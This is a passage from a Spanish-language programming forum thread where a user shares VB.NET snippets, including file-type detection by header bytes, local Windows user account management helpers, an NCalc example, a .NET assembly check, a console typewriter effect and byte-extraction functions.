  241.    Private Shared Function GetFileTypesByExtensions(CSV As String) As List(Of FileType)
  242.        Dim extensions As [String]() = CSV.ToUpper().Replace(" ", "").Split(","c)
  243.  
  244.        Dim result As New List(Of FileType)()
  245.  
  246.        For Each type As FileType In types
  247.            If extensions.Contains(type.extension.ToUpper()) Then
  248.                result.Add(type)
  249.            End If
  250.        Next
  251.        Return result
  252.    End Function
  253.  
  254.    ''' <summary>
  255.    ''' Reads the file header - first (16) bytes from the file
  256.    ''' </summary>
  257.    ''' <param name="file">The file to work with</param>
  258.    ''' <returns>Array of bytes</returns>
  259.    Private Shared Function ReadFileHeader(file As FileInfo, MaxHeaderSize As Integer) As [Byte]()
  260.        Dim header As [Byte]() = New Byte(MaxHeaderSize - 1) {}
  261.        Try
  262.            ' read file
  263.            Using fsSource As New FileStream(file.FullName, FileMode.Open, FileAccess.Read)
  264.                ' read first symbols from file into array of bytes.
  265.                fsSource.Read(header, 0, MaxHeaderSize)
  266.                ' close the file stream
  267.            End Using
  268.        Catch e As Exception
  269.            ' file could not be found/read
  270.            Throw New ApplicationException("Could not read file : " & e.Message)
  271.        End Try
  272.  
  273.        Return header
  274.    End Function
  275.  
  276.    ''' <summary>
  277.    ''' Read header of a file and depending on the information in the header
  278.    ''' return object FileType.
  279.    ''' Return null in case when the file type is not identified.
  280.    ''' Throws Application exception if the file can not be read or does not exist
  281.    ''' </summary>
  282.    ''' <param name="file">The FileInfo object.</param>
  283.    ''' <returns>FileType or null not identified</returns>
  284.    Public Shared Function GetFileType(file As FileInfo) As FileType
  285.        ' read first n-bytes from the file
  286.        Dim fileHeader As [Byte]() = ReadFileHeader(file, MaxHeaderSize)
  287.  
  288.        ' compare the file header to the stored file headers
  289.        For Each type As FileType In types
  290.            Dim matchingCount As Integer = 0
  291.            For i As Integer = 0 To type.header.Length - 1
  292.                ' if file offset is not set to zero, we need to take this into account when comparing.
  293.                ' if byte in type.header is set to null, means this byte is variable, ignore it
  294.                If type.header(i) IsNot Nothing AndAlso type.header(i) <> fileHeader(i + type.headerOffset) Then
  295.                    ' if one of the bytes does not match, move on to the next type
  296.                    matchingCount = 0
  297.                    Exit For
  298.                Else
  299.                    matchingCount += 1
  300.                End If
  301.            Next
  302.            If matchingCount = type.header.Length Then
  303.                ' if all the bytes match, return the type
  304.                Return type
  305.            End If
  306.        Next
  307.        ' if none of the types match, return null
  308.        Return Nothing
  309.    End Function
  310.  
  311.    ''' <summary>
  312.    ''' Read header of a file and depending on the information in the header
  313.    ''' return object FileType.
  314.    ''' Return null in case when the file type is not identified.
  315.    ''' Throws Application exception if the file can not be read or does not exist
  316.    ''' </summary>
  317.    ''' <param name="file">The FileInfo object.</param>
  318.    ''' <returns>FileType or null not identified</returns>
  319.    Public Shared Function GetFileType(file As String) As FileType
  320.        Return GetFileType(New FileInfo(file))
  321.    End Function
  322.  
  323.    ''' <summary>
  324.    ''' Determines whether provided file belongs to one of the provided list of files
  325.    ''' </summary>
  326.    ''' <param name="file">The file.</param>
  327.    ''' <param name="requiredTypes">The required types.</param>
  328.    ''' <returns>
  329.    '''   <c>true</c> if file of the one of the provided types; otherwise, <c>false</c>.
  330.    ''' </returns>
  331.    Public Shared Function isFileOfTypes(file As FileInfo, requiredTypes As List(Of FileType)) As Boolean
  332.  
  333.        Dim currentType As FileType = GetFileType(file)
  334.  
  335.        If currentType Is Nothing Then
  336.            Return False
  337.        End If
  338.  
  339.        Return requiredTypes.Contains(currentType)
  340.  
  341.    End Function
  342.  
  343.    ''' <summary>
  344.    ''' Determines whether provided file belongs to one of the provided list of files,
  345.    ''' where list of files provided by string with Comma-Separated-Values of extensions
  346.    ''' </summary>
  347.    ''' <param name="file">The file.</param>
  348.    ''' <returns>
  349.    '''   <c>true</c> if file of the one of the provided types; otherwise, <c>false</c>.
  350.    ''' </returns>
  351.    Public Shared Function isFileOfTypes(file As FileInfo, CSV As String) As Boolean
  352.  
  353.        Dim providedTypes As List(Of FileType) = GetFileTypesByExtensions(CSV)
  354.  
  355.        Return isFileOfTypes(file, providedTypes)
  356.  
  357.    End Function
  358.  
  359. #End Region
  360.  
  361. #Region "isType functions"
  362.  
  363.    ''' <summary>
  364.    ''' Determines whether the specified file is of provided type
  365.    ''' </summary>
  366.    ''' <param name="file">The file.</param>
  367.    ''' <param name="type">The FileType</param>
  368.    ''' <returns>
  369.    '''   <c>true</c> if the specified file is type; otherwise, <c>false</c>.
  370.    ''' </returns>
  371.    Public Shared Function isType(file As FileInfo, type As FileType) As Boolean
  372.  
  373.        Dim actualType As FileType = GetFileType(file)
  374.  
  375.        If actualType Is Nothing Then
  376.            Return False
  377.        End If
  378.  
  379.        Return (actualType.Equals(type))
  380.  
  381.    End Function
  382.  
  383.    ''' <summary>
  384.    ''' Determines whether the specified file is of provided type
  385.    ''' </summary>
  386.    ''' <param name="file">The file.</param>
  387.    ''' <param name="type">The FileType</param>
  388.    ''' <returns>
  389.    '''   <c>true</c> if the specified file is type; otherwise, <c>false</c>.
  390.    ''' </returns>
  391.    Public Shared Function isType(file As String, type As FileType) As Boolean
  392.  
  393.        Return isType(New FileInfo(file), type)
  394.  
  395.    End Function
  396.  
  397. #End Region
  398.  
  399. End Class
  400.  
  401. #End Region


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 7 Marzo 2014, 19:52 pm
Algunos métodos de uso genérico sobre las cuentas de usuario.




Código
  1.    ' Get UserNames
  2.    ' ( By Elektro )
  3.    '
  4.    ' Instructions:
  5.    ' 1. Add a reference to 'System.DirectoryServices.AccountManagement'.
  6.    ' 2. Imports System.DirectoryServices.AccountManagement
  7.    '
  8.    ' Example Usages:
  9.    ' Dim UserNames As String() = GetUserNames()
  10.    '
  11.    ''' <summary>
  12.    ''' Get the username accounts of the current machine.
  13.    ''' </summary>
  14.    ''' <returns>System.String[][].</returns>
  15.    Public Function GetUserNames() As String()
  16.  
  17.        Dim pContext As New PrincipalContext(ContextType.Machine)
  18.        Dim pUser As New UserPrincipal(pContext)
  19.        Dim pSearcher As New PrincipalSearcher(pUser)
  20.        Dim UserNames As String() = (From u As Principal In pSearcher.FindAll Select u.Name).ToArray
  21.  
  22.        pContext.Dispose()
  23.        pSearcher.Dispose()
  24.        pUser.Dispose()
  25.  
  26.        Return UserNames
  27.  
  28.    End Function



Código
  1.    ' Get Users
  2.    ' ( By Elektro )
  3.    '
  4.    ' Instructions:
  5.    ' 1. Add a reference to 'System.DirectoryServices.AccountManagement'.
  6.    ' 2. Imports System.DirectoryServices.AccountManagement
  7.    '
  8.    ' Example Usages:
  9.    ' Dim Users As Principal() = GetUsers()
  10.    ' For Each User As Principal In Users()
  11.    '     MsgBox(User.Name)
  12.    ' Next
  13.    '
  14.    ''' <summary>
  15.    ''' Get the users of the current machine.
  16.    ''' </summary>
  17.    ''' <returns>Principal[][].</returns>
  18.    Public Function GetUsers() As Principal()
  19.  
  20.        Dim pContext As New PrincipalContext(ContextType.Machine)
  21.        Dim pUser As New UserPrincipal(pContext)
  22.        Dim pSearcher As New PrincipalSearcher(pUser)
  23.        Dim Users As Principal() = (From User As Principal In pSearcher.FindAll).ToArray
  24.  
  25.        Return Users
  26.  
  27.    End Function



Código
  1.   ' Delete User Account
  2.    ' ( By Elektro )
  3.    '
  4.    ' Instructions:
  5.    ' 1. Add a reference to 'System.DirectoryServices.AccountManagement'.
  6.    ' 2. Imports System.DirectoryServices.AccountManagement
  7.    '
  8.    ' Example Usages:
  9.    ' DeleteUserAccount("Username")
  10.    ' DeleteUserAccount(New Security.Principal.SecurityIdentifier("S-1-5-21-250596608-219436059-1115792336-500"))
  11.    '
  12.    ''' <summary>
  13.    ''' Deletes an existing user account in the current machine.
  14.    ''' </summary>
  15.    ''' <param name="UserName">Indicates the account Username.</param>
  16.    ''' <returns><c>true</c> if deletion success, <c>false</c> otherwise.</returns>
  17.    Public Function DeleteUserAccount(ByVal UserName As String) As Boolean
  18.  
  19.        Dim pContext As New PrincipalContext(ContextType.Machine)
  20.        Dim pUser As New UserPrincipal(pContext)
  21.        Dim pSearcher As New PrincipalSearcher(pUser)
  22.  
  23.        Dim User As Principal =
  24.            (From u As Principal In pSearcher.FindAll
  25.            Where u.Name.Equals(UserName, StringComparison.OrdinalIgnoreCase)).FirstOrDefault
  26.  
  27.        If User Is Nothing Then
  28.            Throw New Exception(String.Format("User with name '{0}' not found.", UserName))
  29.        End If
  30.  
  31.        Try
  32.            User.Delete()
  33.            Return True
  34.  
  35.        Catch ex As InvalidOperationException
  36.            Throw New Exception(ex.Message)
  37.  
  38.        Finally
  39.            pContext.Dispose()
  40.            pSearcher.Dispose()
  41.            pUser.Dispose()
  42.  
  43.        End Try
  44.  
  45.        Return False ' Failed.
  46.  
  47.    End Function

Código
  1.    ''' <summary>
  2.    ''' Deletes an existing user account in the current machine.
  3.    ''' </summary>
  4.    ''' <param name="UserSID">Indicates the account security identifier (SID).</param>
  5.    ''' <returns><c>true</c> if deletion success, <c>false</c> otherwise.</returns>
  6.    Public Function DeleteUserAccount(ByVal UserSID As Security.Principal.SecurityIdentifier) As Boolean
  7.  
  8.        Dim pContext As New PrincipalContext(ContextType.Machine)
  9.        Dim pUser As New UserPrincipal(pContext)
  10.        Dim pSearcher As New PrincipalSearcher(pUser)
  11.  
  12.        Dim User As Principal =
  13.            (From u As Principal In pSearcher.FindAll
  14.            Where u.Sid = UserSID).FirstOrDefault
  15.  
  16.        If User Is Nothing Then
  17.            Throw New Exception(String.Format("User with SID '{0}' not found.", UserSID.Value))
  18.        End If
  19.  
  20.        Try
  21.            User.Delete()
  22.            Return True
  23.  
  24.        Catch ex As InvalidOperationException
  25.            Throw New Exception(ex.Message)
  26.  
  27.        Finally
  28.            pContext.Dispose()
  29.            pSearcher.Dispose()
  30.            pUser.Dispose()
  31.  
  32.        End Try
  33.  
  34.        Return False ' Failed.
  35.  
  36.    End Function



Código
  1.    ' User Is Admin?
  2.    ' ( By Elektro )
  3.    '
  4.    ' Instructions:
  5.    ' 1. Add a reference to 'System.DirectoryServices.AccountManagement'.
  6.    ' 2. Imports System.DirectoryServices.AccountManagement
  7.    '
  8.    ' Example Usages:
  9.    ' MsgBox(UserIsAdmin("Administrador"))
  10.    ' MsgBox(UserIsAdmin(New Security.Principal.SecurityIdentifier("S-1-5-21-250596608-219436059-1115792336-500")))
  11.    '
  12.    ''' <summary>
  13.    ''' Determines whether an User is an Administrator.
  14.    ''' </summary>
  15.    ''' <param name="UserName">Indicates the account Username.</param>
  16.    ''' <returns><c>true</c> if user is an Administrator, <c>false</c> otherwise.</returns>
  17.    Public Function UserIsAdmin(ByVal UserName As String) As Boolean
  18.  
  19.        Dim AdminGroupSID As New SecurityIdentifier("S-1-5-32-544")
  20.  
  21.        Dim pContext As New PrincipalContext(ContextType.Machine)
  22.        Dim pUser As New UserPrincipal(pContext)
  23.        Dim pSearcher As New PrincipalSearcher(pUser)
  24.  
  25.        Dim User As Principal =
  26.            (From u As Principal In pSearcher.FindAll
  27.            Where u.Name.Equals(UserName, StringComparison.OrdinalIgnoreCase)).FirstOrDefault
  28.  
  29.        If User Is Nothing Then
  30.            Throw New Exception(String.Format("User with name '{0}' not found.", UserName))
  31.        End If
  32.  
  33.        Dim IsAdmin As Boolean =
  34.            (From Group As GroupPrincipal In User.GetGroups
  35.             Where Group.Sid = AdminGroupSID).Any
  36.  
  37.        pContext.Dispose()
  38.        pSearcher.Dispose()
  39.        pUser.Dispose()
  40.  
  41.        Return IsAdmin
  42.  
  43.    End Function

Código
  1.    ''' <summary>
  2.    ''' Determines whether an User is an Administrator.
  3.    ''' </summary>
  4.    ''' <param name="UserSID">Indicates the SID of the user account.</param>
  5.    ''' <returns><c>true</c> if user is an Administrator, <c>false</c> otherwise.</returns>
  6.    Public Function UserIsAdmin(ByVal UserSID As Security.Principal.SecurityIdentifier) As Boolean
  7.  
  8.        Dim AdminGroupSID As New SecurityIdentifier("S-1-5-32-544")
  9.  
  10.        Dim pContext As New PrincipalContext(ContextType.Machine)
  11.        Dim pUser As New UserPrincipal(pContext)
  12.        Dim pSearcher As New PrincipalSearcher(pUser)
  13.  
  14.        Dim User As Principal =
  15.            (From u As Principal In pSearcher.FindAll
  16.            Where u.Sid = UserSID).FirstOrDefault
  17.  
  18.        If User Is Nothing Then
  19.            Throw New Exception(String.Format("User with SID '{0}' not found.", UserSID.Value))
  20.        End If
  21.  
  22.        Dim IsAdmin As Boolean =
  23.            (From Group As GroupPrincipal In User.GetGroups
  24.             Where Group.Sid = AdminGroupSID).Any
  25.  
  26.        pContext.Dispose()
  27.        pSearcher.Dispose()
  28.        pUser.Dispose()
  29.  
  30.        Return IsAdmin
  31.  
  32.    End Function



Código
  1.   ' Set UserName
  2.    ' ( By Elektro )
  3.    '
  4.    ' Instructions:
  5.    ' 1. Add a reference to 'System.DirectoryServices.AccountManagement'.
  6.    ' 2. Imports System.DirectoryServices.AccountManagement
  7.    '
  8.    ' Example Usages:
  9.    ' SetUserName("Username", "New Name")
  10.    ' SetUserName(New Security.Principal.SecurityIdentifier("S-1-5-21-250596608-219436059-1115792336-500"), "New Name")
  11.    '
  12.    ''' <summary>
  13.    ''' Sets the UserName of an existing User account.
  14.    ''' </summary>
  15.    ''' <param name="OldUserName">Indicates an existing username account.</param>
  16.    ''' <param name="NewUserName">Indicates the new name for the user account.</param>
  17.    ''' <returns><c>true</c> if change success, <c>false</c> otherwise.</returns>
  18.    Public Function SetUserName(ByVal OldUserName As String,
  19.                                ByVal NewUserName As String) As Boolean
  20.  
  21.        Dim pContext As New PrincipalContext(ContextType.Machine)
  22.        Dim pUser As New UserPrincipal(pContext)
  23.        Dim pSearcher As New PrincipalSearcher(pUser)
  24.  
  25.        Dim User As Principal =
  26.            (From u As Principal In pSearcher.FindAll
  27.            Where u.Name.Equals(OldUserName, StringComparison.OrdinalIgnoreCase)).FirstOrDefault
  28.  
  29.        If User Is Nothing Then
  30.            Throw New Exception(String.Format("User with name '{0}' not found.", OldUserName))
  31.        End If
  32.  
  33.        Try
  34.            User.Name = NewUserName
  35.            User.Save()
  36.            Return True
  37.  
  38.        Catch ex As InvalidOperationException
  39.            Throw New Exception(ex.Message)
  40.  
  41.        Finally
  42.            pContext.Dispose()
  43.            pSearcher.Dispose()
  44.            pUser.Dispose()
  45.  
  46.        End Try
  47.  
  48.        Return False ' Failed.
  49.  
  50.    End Function

Código
  1.    ''' <summary>
  2.    ''' Sets the UserName of an existing User account.
  3.    ''' </summary>
  4.    ''' <param name="UserSID">Indicates the SID of the user account.</param>
  5.    ''' <param name="NewUserName">Indicates the new name for the user account.</param>
  6.    ''' <returns><c>true</c> if change success, <c>false</c> otherwise.</returns>
  7.    Public Function SetUserName(ByVal UserSID As Security.Principal.SecurityIdentifier,
  8.                                ByVal NewUserName As String) As Boolean
  9.  
  10.        Dim pContext As New PrincipalContext(ContextType.Machine)
  11.        Dim pUser As New UserPrincipal(pContext)
  12.        Dim pSearcher As New PrincipalSearcher(pUser)
  13.  
  14.        Dim User As Principal =
  15.            (From u As Principal In pSearcher.FindAll
  16.            Where u.Sid = UserSID).FirstOrDefault
  17.  
  18.        If User Is Nothing Then
  19.            Throw New Exception(String.Format("User with SID '{0}' not found.", UserSID.Value))
  20.        End If
  21.  
  22.        Try
  23.            User.Name = NewUserName
  24.            User.Save()
  25.            Return True
  26.  
  27.        Catch ex As InvalidOperationException
  28.            Throw New Exception(ex.Message)
  29.  
  30.        Finally
  31.            pContext.Dispose()
  32.            pSearcher.Dispose()
  33.            pUser.Dispose()
  34.  
  35.        End Try
  36.  
  37.        Return False ' Failed.
  38.  
  39.    End Function
  40.  


Código
  1.   ' Set Account DisplayName
  2.    ' ( By Elektro )
  3.    '
  4.    ' Instructions:
  5.    ' 1. Add a reference to 'System.DirectoryServices.AccountManagement'.
  6.    ' 2. Imports System.DirectoryServices.AccountManagement
  7.    '
  8.    ' Example Usages:
  9.    ' SetAccountDisplayName("Username", "New Name")
  10.    ' SetAccountDisplayName(New Security.Principal.SecurityIdentifier("S-1-5-21-250596608-219436059-1115792336-500"), "New Name")
  11.    '
  12.    ''' <summary>
  13.    ''' Sets the display name of an existing User account.
  14.    ''' </summary>
  15.    ''' <param name="OldDisplayName">Indicates an existing display name user account.</param>
  16.    ''' <param name="NewDisplayName">Indicates the new display name for the user account.</param>
  17.    ''' <returns><c>true</c> if change success, <c>false</c> otherwise.</returns>
  18.    Public Function SetAccountDisplayName(ByVal OldDisplayName As String,
  19.                                          ByVal NewDisplayName As String) As Boolean
  20.  
  21.        Dim pContext As New PrincipalContext(ContextType.Machine)
  22.        Dim pUser As New UserPrincipal(pContext)
  23.        Dim pSearcher As New PrincipalSearcher(pUser)
  24.  
  25.        Dim User As Principal =
  26.            (From u As Principal In pSearcher.FindAll
  27.            Where u.Name.Equals(OldDisplayName, StringComparison.OrdinalIgnoreCase)).FirstOrDefault
  28.  
  29.        If User Is Nothing Then
  30.            Throw New Exception(String.Format("User with display name '{0}' not found.", OldDisplayName))
  31.        End If
  32.  
  33.        Try
  34.            User.DisplayName = NewDisplayName
  35.            User.Save()
  36.            Return True
  37.  
  38.        Catch ex As InvalidOperationException
  39.            Throw New Exception(ex.Message)
  40.  
  41.        Finally
  42.            pContext.Dispose()
  43.            pSearcher.Dispose()
  44.            pUser.Dispose()
  45.  
  46.        End Try
  47.  
  48.        Return False ' Failed.
  49.  
  50.    End Function

Código
  1.    ''' <summary>
  2.    ''' Sets the display name of an existing User account.
  3.    ''' </summary>
  4.    ''' <param name="UserSID">Indicates the SID of the user account.</param>
  5.    ''' <param name="NewDisplayName">Indicates the new display name for the user account.</param>
  6.    ''' <returns><c>true</c> if change success, <c>false</c> otherwise.</returns>
  7.    Public Function SetAccountDisplayName(ByVal UserSID As Security.Principal.SecurityIdentifier,
  8.                                          ByVal NewDisplayName As String) As Boolean
  9.  
  10.        Dim pContext As New PrincipalContext(ContextType.Machine)
  11.        Dim pUser As New UserPrincipal(pContext)
  12.        Dim pSearcher As New PrincipalSearcher(pUser)
  13.  
  14.        Dim User As Principal =
  15.            (From u As Principal In pSearcher.FindAll
  16.            Where u.Sid = UserSID).FirstOrDefault
  17.  
  18.        If User Is Nothing Then
  19.            Throw New Exception(String.Format("User with SID '{0}' not found.", UserSID.Value))
  20.        End If
  21.  
  22.        Try
  23.            User.DisplayName = NewDisplayName
  24.            User.Save()
  25.            Return True
  26.  
  27.        Catch ex As InvalidOperationException
  28.            Throw New Exception(ex.Message)
  29.  
  30.        Finally
  31.            pContext.Dispose()
  32.            pSearcher.Dispose()
  33.            pUser.Dispose()
  34.  
  35.        End Try
  36.  
  37.        Return False ' Failed.
  38.  
  39.    End Function


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 8 Marzo 2014, 15:41 pm

Un ejemplo de uso muy básico de la librería NCalc ~> http://ncalc.codeplex.com/

Código
  1.        Dim MathExpression As String = "(2 + 3) * 2" ' Result: 10
  2.  
  3.        Dim NCalcExpression As New NCalc.Expression(MathExpression)
  4.  
  5.        MsgBox(NCalcExpression.Evaluate().ToString)





Una forma de comprobar si un archivo es un ensamblado .NET:

Código
  1.    ' Usage Examples:
  2.    '
  3.    ' MsgBox(IsNetAssembly("C:\File.exe"))
  4.    ' MsgBox(IsNetAssembly("C:\File.dll"))
  5.  
  6.    ''' <summary>
  7.    ''' Gets the common language runtime (CLR) version information of the specified file, using the specified buffer.
  8.    ''' </summary>
  9.    ''' <param name="filepath">Indicates the filepath of the file to be examined.</param>
  10.    ''' <param name="buffer">Indicates the buffer allocated for the version information that is returned.</param>
  11.    ''' <param name="buflen">Indicates the size, in wide characters, of the buffer.</param>
  12.    ''' <param name="written">Indicates the size, in bytes, of the returned buffer.</param>
  13.    ''' <returns>System.Int32.</returns>
  14.    <System.Runtime.InteropServices.DllImport("mscoree.dll",
  15.    CharSet:=System.Runtime.InteropServices.CharSet.Unicode)>
  16.    Private Shared Function GetFileVersion(
  17.                      ByVal filepath As String,
  18.                      ByVal buffer As System.Text.StringBuilder,
  19.                      ByVal buflen As Integer,
  20.                      ByRef written As Integer
  21.    ) As Integer
  22.    End Function
  23.  
  24.    ''' <summary>
  25.    ''' Determines whether an exe/dll file is an .Net assembly.
  26.    ''' </summary>
  27.    ''' <param name="File">Indicates the exe/dll file to check.</param>
  28.    ''' <returns><c>true</c> if file is an .Net assembly; otherwise, <c>false</c>.</returns>
  29.    Public Shared Function IsNetAssembly(ByVal [File] As String) As Boolean
  30.  
  31.        Dim sb = New System.Text.StringBuilder(256)
  32.        Dim written As Integer = 0
  33.        Dim hr = GetFileVersion([File], sb, sb.Capacity, written)
  34.        Return hr = 0
  35.  
  36.    End Function





Un simple efecto de máquina de escribir:

Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 03-08-2014
  4. ' ***********************************************************************
  5. ' <copyright file="TypeWritter.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12. 'Sub Main()
  13.  
  14. '    Console.WriteLine()
  15. '    TypeWritter.WriteLine("[ Typewritter ] - By Elektro")
  16. '    TypeWritter.WriteLine()
  17. '    TypeWritter.WriteLine()
  18. '    TypeWritter.WriteLine("Hola a todos!, les presento este humilde y simple efecto de máquina de escribir")
  19. '    TypeWritter.WriteLine()
  20. '    TypeWritter.WriteLine("Si os fijais aténtamente, quizás ya habreis notado, que hay pausas realistas,   al escribir signos de puntuación...")
  21. '    TypeWritter.WriteLine()
  22. '    TypeWritter.WriteLine("[+] Podemos establecer la velocidad de escritura, por ejemplo, a 20 ms. :")
  23. '    TypeWritter.WriteLine("abcdefghijklmnopqrstuvwxyz", 20)
  24. '    TypeWritter.WriteLine()
  25. '    TypeWritter.WriteLine("[+] Podemos establecer la velocidad de las pausas, por ejemplo, a 2 seg. :")
  26. '    TypeWritter.WriteLine(".,;:", , 2 * 1000)
  27. '    TypeWritter.WriteLine()
  28. '    TypeWritter.WriteLine("[+] El efecto corre en una tarea asíncrona, por lo que se pueden hacer otras cosas mientras tanto, sin frezzear una GUI, y también podemos cancelar la escritura en cualquier momento, gracias al Token de cancelación.")
  29. '    TypeWritter.WriteLine()
  30. '    TypeWritter.WriteLine()
  31. '    TypeWritter.WriteLine("Esto es todo por ahora.")
  32. '    Console.ReadKey()
  33.  
  34. 'End Sub
  35.  
  36. #End Region
  37.  
  38. #Region " TypeWritter "
  39.  
  40. ''' <summary>
  41. ''' Simulates text-typying effect like a Typewritter.
  42. ''' </summary>
  43. Public Class TypeWritter
  44.  
  45. #Region " Properties "
  46.  
  47.    ''' <summary>
  48.    ''' When set to 'True', the running 'Typewritter' task will be cancelled.
  49.    ''' ( The property is set again to 'False' automatically after a 'Task' is cancelled )
  50.    ''' </summary>
  51.    Public Shared Property RequestCancel As Boolean = False
  52.  
  53. #End Region
  54.  
  55. #Region " Task Objects "
  56.  
  57.    ''' <summary>
  58.    ''' The typewritter asynchronous Task.
  59.    ''' </summary>
  60.    Private Shared TypeWritterTask As Threading.Tasks.Task
  61.  
  62.    ''' <summary>
  63.    ''' The typewritter Task Cancellation TokenSource.
  64.    ''' </summary>
  65.    Private Shared TypeWritterTaskCTS As New Threading.CancellationTokenSource
  66.  
  67.    ''' <summary>
  68.    ''' The typewritter Task Cancellation Token.
  69.    ''' </summary>
  70.    Private Shared TypeWritterTaskCT As Threading.CancellationToken = TypeWritterTaskCTS.Token
  71.  
  72. #End Region
  73.  
  74. #Region " Private Methods "
  75.  
  76.    ''' <summary>
  77.    ''' Writes text simulating a Typewritter effect.
  78.    ''' </summary>
  79.    ''' <param name="CancellationToken">Indicates the cancellation token of the Task.</param>
  80.    ''' <param name="Text">Indicates the text to type.</param>
  81.    ''' <param name="TypeSpeed">Indicates the typying speed, in ms.</param>
  82.    ''' <param name="PauseDuration">Indicates the pause duration of the punctuation characters, in ms.</param>
  83.    Private Shared Sub TypeWritter(ByVal CancellationToken As Threading.CancellationToken,
  84.                            ByVal [Text] As String,
  85.                            ByVal TypeSpeed As Integer,
  86.                            ByVal PauseDuration As Integer)
  87.  
  88.        ' If Text is empty then write an empty line...
  89.        If String.IsNullOrEmpty([Text]) Then
  90.  
  91.            ' If not cancellation is already requested then...
  92.            If Not CancellationToken.IsCancellationRequested Then
  93.  
  94.                ' Write an empty line.
  95.                Console.WriteLine()
  96.  
  97.                ' Wait-Speed (empty line).
  98.                Threading.Thread.Sleep(PauseDuration)
  99.  
  100.            End If ' CancellationToken.IsCancellationRequested
  101.  
  102.        End If ' String.IsNullOrEmpty([Text])
  103.  
  104.        ' For each Character in Text to type...
  105.        For Each c As Char In [Text]
  106.  
  107.            ' If not cancellation is already requested then...
  108.            If Not CancellationToken.IsCancellationRequested Then
  109.  
  110.                ' Type the character.
  111.                Console.Write(CStr(c))
  112.  
  113.                ' Type-Wait.
  114.                Threading.Thread.Sleep(TypeSpeed)
  115.  
  116.                If ".,;:".Contains(c) Then
  117.                    ' Pause-Wait.
  118.                    Threading.Thread.Sleep(PauseDuration)
  119.                End If
  120.  
  121.            Else ' want to cancel.
  122.  
  123.                ' Exit iteration.
  124.                Exit For
  125.  
  126.            End If ' CancellationToken.IsCancellationRequested
  127.  
  128.        Next c ' As Char In [Text]
  129.  
  130.    End Sub
  131.  
  132. #End Region
  133.  
  134. #Region " Public Methods "
  135.  
  136.    ''' <summary>
  137.    ''' Writes text simulating a Typewritter effect.
  138.    ''' </summary>
  139.    ''' <param name="Text">Indicates the text to type.</param>
  140.    ''' <param name="TypeSpeed">Indicates the typying speed, in ms.</param>
  141.    ''' <param name="PauseDuration">Indicates the pause duration of the punctuation characters, in ms.</param>
  142.    Public Shared Sub Write(ByVal [Text] As String,
  143.                            Optional ByVal TypeSpeed As Integer = 75,
  144.                            Optional ByVal PauseDuration As Integer = 400)
  145.  
  146.        ' Run the asynchronous Task.
  147.        TypeWritterTask = Threading.Tasks.
  148.                   Task.Factory.StartNew(Sub()
  149.                                             TypeWritter(TypeWritterTaskCT, [Text], TypeSpeed, PauseDuration)
  150.                                         End Sub, TypeWritterTaskCT)
  151.  
  152.        ' Until Task is not completed or is not cancelled, do...
  153.        Do Until TypeWritterTask.IsCompleted OrElse TypeWritterTask.IsCanceled
  154.  
  155.            ' If want to cancel then...
  156.            If RequestCancel Then
  157.  
  158.                ' If not cancellation is already requested then...
  159.                If Not TypeWritterTaskCTS.IsCancellationRequested Then
  160.  
  161.                    ' Cancel the Task.
  162.                    TypeWritterTaskCTS.Cancel()
  163.  
  164.                    ' Renew the cancellation token and tokensource.
  165.                    TypeWritterTaskCTS = New Threading.CancellationTokenSource
  166.                    TypeWritterTaskCT = TypeWritterTaskCTS.Token
  167.  
  168.                End If
  169.  
  170.                ' Reset the cancellation flag var.
  171.                RequestCancel = False
  172.  
  173.                ' Exit iteration.
  174.                Exit Do
  175.  
  176.            End If
  177.  
  178.        Loop ' TypeTask.IsCompleted OrElse TypeTask.IsCanceled
  179.  
  180.    End Sub
  181.  
  182.    ''' <summary>
  183.    ''' Writes text simulating a Typewritter effect, and adds a break-line at the end.
  184.    ''' </summary>
  185.    ''' <param name="Text">Indicates the text to type.</param>
  186.    ''' <param name="TypeSpeed">Indicates the typying speed, in ms.</param>
  187.    ''' <param name="PauseDuration">Indicates the pause duration of the punctuation characters, in ms.</param>
  188.    Public Shared Sub WriteLine(ByVal [Text] As String,
  189.                                Optional ByVal TypeSpeed As Integer = 75,
  190.                                Optional ByVal PauseDuration As Integer = 400)
  191.  
  192.        Write([Text], TypeSpeed, PauseDuration)
  193.        Console.WriteLine()
  194.  
  195.    End Sub
  196.  
  197.    ''' <summary>
  198.    ''' Writes an empty line.
  199.    ''' </summary>
  200.    ''' <param name="PauseDuration">Indicates the pause duration of the empty line, in ms.</param>
  201.    Public Shared Sub WriteLine(Optional ByVal PauseDuration As Integer = 750)
  202.  
  203.        Write(String.Empty, 1, PauseDuration)
  204.  
  205.    End Sub
  206.  
  207. #End Region
  208.  
  209. End Class
  210.  
  211. #End Region


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 9 Marzo 2014, 16:27 pm
Unos snippets para imitar las macros "LoByte", "LoWord", "LoDword", etc, usando la Class BitConverter, la cual, aunque necesita hacer más trabajo, me parece una solución mucho mas elegante que las que se pueden encontrar por ahí, e igual de efectiva.


Código
  1.    ' Get LoByte
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(GetLoByte(1587S)) ' Result: 51
  6.    '
  7.    ''' <summary>
  8.    ''' Gets the low-order byte of an 'Int16' value.
  9.    ''' </summary>
  10.    ''' <param name="Value">Indicates the 'Int16' value that contains both the LoByte and the HiByte.</param>
  11.    ''' <returns>The return value is the low-order byte.</returns>
  12.    Public Shared Function GetLoByte(ByVal value As Short) As Byte
  13.  
  14.        Return BitConverter.GetBytes(value).First
  15.  
  16.    End Function

Código
  1.    ' Get HiByte
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
  5.    ' MsgBox(GetHiByte(1587S)) ' Result: 6
  6.    '
  7.    ''' <summary>
  8.    ''' Gets the high-order byte of an 'Int16' value.
  9.    ''' </summary>
  10.    ''' <param name="Value">Indicates the 'Int16' value that contains both the LoByte and the HiByte.</param>
  11.    ''' <returns>The return value is the high-order byte.</returns>
  12.    Public Shared Function GetHiByte(ByVal value As Short) As Byte
  13.  
  14.        Return BitConverter.GetBytes(value).Last
  15.  
  16.    End Function

Código
  1.    ' Get LoWord
  2.    ' ( By Elektro )
  3.    '
  4.    ' Usage Examples:
